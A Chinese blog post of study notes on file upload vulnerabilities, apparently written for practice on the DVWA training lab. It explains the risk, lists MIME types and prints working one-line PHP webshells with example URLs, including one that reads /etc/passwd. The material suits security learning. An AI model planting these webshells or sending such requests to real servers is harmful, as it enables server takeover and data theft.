文件上传漏洞

简介

  1. 文件上传(File Upload )是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等
  2. 正常的文件一般是文档、图片、视频等, Web应用收集之后放入后台存储,需要的时候再调用出来返回
  3. 如果恶意文件如PHP,ASP等执行文件绕过web应用,并顺利执行,则相当于黑客直接拿到了webshe11
  4. 一旦黑客拿到Webshel1 ,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网
  5. SQL注入攻击的对象是数据库服务,文件上传漏洞主要攻击Web服务,实际渗透两种相结合,达到对目标的深度控制

实验

实验一

实验二

类型 描述 典型示例
text 表明文件是普通文本,理论上是人类可读 text/plain, text/html, text/css, text/javascript
image 表明是某种图像。不包括视频,但是动态图(比如动态gif)也使用image类型 image/gif, image/png, image/jpeg, image/bmp, image/webp, image/x-icon, image/vnd.microsoft.icon
audio 表明是某种音频文件 audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav
video 表明是某种视频文件 video/webm, video/ogg
application 表明是某种二进制数据 application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf

对于text文件类型若没有特定的subtype,就使用 text/plain。类似的,二进制文件没有特定或已知的 subtype,即使用 application/octet-stream

Webshell

小马:一句话木马也称为小马,即整个shell代码量只有一行,一般是系统执行函数

大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵系统检测到

shell1.php #文件名称
eval使用php函数,例如phpinfo()
代码如下
<?php eval($_REQUEST['password']);?>
示例
http://10.3.139.173/dvwa/hackable/uploads/shell1.php?password=phpinfo();

shell2.php #文件名称
system使用Linux系统命令,例如1s,cp,rm
代码如下
<?php system($_REQUEST['password']);?>
示例
http://10.3.139.173/dvwa/hackable/uploads/shell2php?password=cat /etc/passwd

<?php @eval($_POST['password']);?>
说明:REQUEST是在网页端输入变量访问,POST则是使用像中国菜刀之类的工具连接,是C/S架构。

posted @ 2020-07-31 11:52  榕霖  阅读(288)  评论(0编辑  收藏  举报